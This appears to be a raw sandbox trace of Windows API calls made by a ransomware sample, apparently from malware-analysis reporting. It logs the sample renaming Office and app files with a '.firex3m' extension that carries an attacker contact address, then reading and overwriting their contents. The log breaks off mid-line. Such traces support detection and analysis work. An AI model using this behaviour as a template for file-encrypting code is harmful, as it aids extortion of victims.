(lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-256_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.446] Sleep (dwMilliseconds=0x1) [0243.503] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_altform-unplated.png", len=0x81 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_altform-unplated.png") returned 1 [0243.503] GetProcessHeap () returned 0x630000 [0243.503] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f5c) returned 0x6fe3bb0 [0243.503] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.503] Sleep (dwMilliseconds=0x1) [0244.274] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-256.png", len=0x8d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-256.png") returned 1 [0244.274] GetProcessHeap () returned 0x630000 [0244.274] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f1c) returned 0x6fe3bb0 [0244.274] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.276] Sleep (dwMilliseconds=0x1) [0246.221] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG", len=0x7d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG") returned 1 [0246.221] GetProcessHeap () returned 0x630000 [0246.221] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e30) returned 0x6fe3bb0 [0246.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0246.261] CloseHandle (hObject=0x684) returned 1 [0246.261] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\1033\\fpext.msg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.262] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29b77, dwReserved0=0x2e0047, dwReserved1=0x640069, cFileName="FPEXT.MSG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FPEXTM~1.FIR")) returned 0x6d4ec0 [0246.263] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0246.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\1033\\fpext.msg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0246.263] GetProcessHeap () returned 0x630000 [0246.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70234e0 [0246.263] GetProcessHeap () returned 0x630000 [0246.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702e910 [0246.263] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.263] ReadFile (in: hFile=0x684, lpBuffer=0x70234e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234e0*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.582] GetProcessHeap () returned 0x630000 [0252.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0252.583] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.583] WriteFile (in: hFile=0x684, lpBuffer=0x702e910*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e910*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.583] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.583] WriteFile (in: hFile=0x684, lpBuffer=0x7039d0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d0f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.694] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.694] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.694] CloseHandle (hObject=0x684) returned 1 [0253.694] GetProcessHeap () returned 0x630000 [0253.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702e910 | out: hHeap=0x630000) returned 1 [0253.694] GetProcessHeap () returned 0x630000 [0253.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70234e0 | out: hHeap=0x630000) returned 1 [0253.695] GetProcessHeap () returned 0x630000 [0253.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0254.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d2a320e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b9b, dwReserved0=0x9ec7496, dwReserved1=0x70234d8, cFileName="FPEXT.MSG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FPEXTM~1.FIR")) returned 0x6d54c0 [0254.416] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0254.416] Sleep (dwMilliseconds=0x1) [0254.448] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-100.png", len=0xa1 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-100.png") returned 1 [0254.448] GetProcessHeap () returned 0x630000 [0254.448] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e08) returned 0x6fe3bb0 [0254.449] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_badgelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.462] Sleep (dwMilliseconds=0x1) [0254.486] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM", len=0x70 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM") returned 1 [0254.486] GetProcessHeap () returned 0x630000 [0254.486] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db0) returned 0x6fe3bb0 [0254.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0254.713] CloseHandle (hObject=0x6d4) returned 1 [0254.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="RICEPAPR.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RICEPA~2.FIR")) returned 0x6d5440 [0254.715] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0254.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0254.715] GetProcessHeap () returned 0x630000 [0254.715] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0254.716] GetProcessHeap () returned 0x630000 [0254.716] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712f718 [0254.716] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.716] ReadFile (in: hFile=0x6d4, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.861] GetProcessHeap () returned 0x630000 [0259.861] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0259.862] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.862] WriteFile (in: hFile=0x6d4, lpBuffer=0x712f718*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.862] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.862] WriteFile (in: hFile=0x6d4, lpBuffer=0x713ab17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713ab17*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.866] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.866] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.866] CloseHandle (hObject=0x6d4) returned 1 [0259.867] GetProcessHeap () returned 0x630000 [0259.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f718 | out: hHeap=0x630000) returned 1 [0259.867] GetProcessHeap () returned 0x630000 [0259.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0259.867] GetProcessHeap () returned 0x630000 [0259.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0261.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60d6bf78, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12082, dwReserved0=0x9ec7496, dwReserved1=0x6ee88b0, cFileName="RICEPAPR.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RICEPA~2.FIR")) returned 0x6d5380 [0261.227] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0261.227] Sleep (dwMilliseconds=0x1) [0261.234] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\178.png", len=0x7a | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\178.png") returned 1 [0261.234] GetProcessHeap () returned 0x630000 [0261.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cdc) returned 0x6fe3bb0 [0261.234] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\178.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\178.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.239] Sleep (dwMilliseconds=0x1) [0261.254] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\5.jpg", len=0x7b | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\5.jpg") returned 1 [0261.254] GetProcessHeap () returned 0x630000 [0261.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dcc) returned 0x6fe3bb0 [0261.254] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\5.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.261] Sleep (dwMilliseconds=0x1) [0262.874] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\12.jpg", len=0x7c | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\12.jpg") returned 1 [0262.874] GetProcessHeap () returned 0x630000 [0262.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d88) returned 0x6fe3bb0 [0262.874] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\12.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\12.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.876] Sleep (dwMilliseconds=0x1) [0263.889] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\169.png", len=0x7a | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\169.png") returned 1 [0263.889] GetProcessHeap () returned 0x630000 [0263.889] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb8) returned 0x6fe3bb0 [0263.889] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\169.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\169.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.891] Sleep (dwMilliseconds=0x1) [0264.663] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd", len=0x71 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd") returned 1 [0264.663] GetProcessHeap () returned 0x630000 [0264.663] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d14) returned 0x6fe3bb0 [0264.664] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.people.controls.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.668] Sleep (dwMilliseconds=0x1) [0264.670] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.exe", len=0x5e | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.exe") returned 1 [0264.670] GetProcessHeap () returned 0x630000 [0264.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d00) returned 0x6fe3bb0 [0264.670] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsapp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.684] Sleep (dwMilliseconds=0x1) [0266.460] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG", len=0x60 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 1 [0266.460] GetProcessHeap () returned 0x630000 [0266.460] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b9c) returned 0x6fe3bb0 [0266.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft 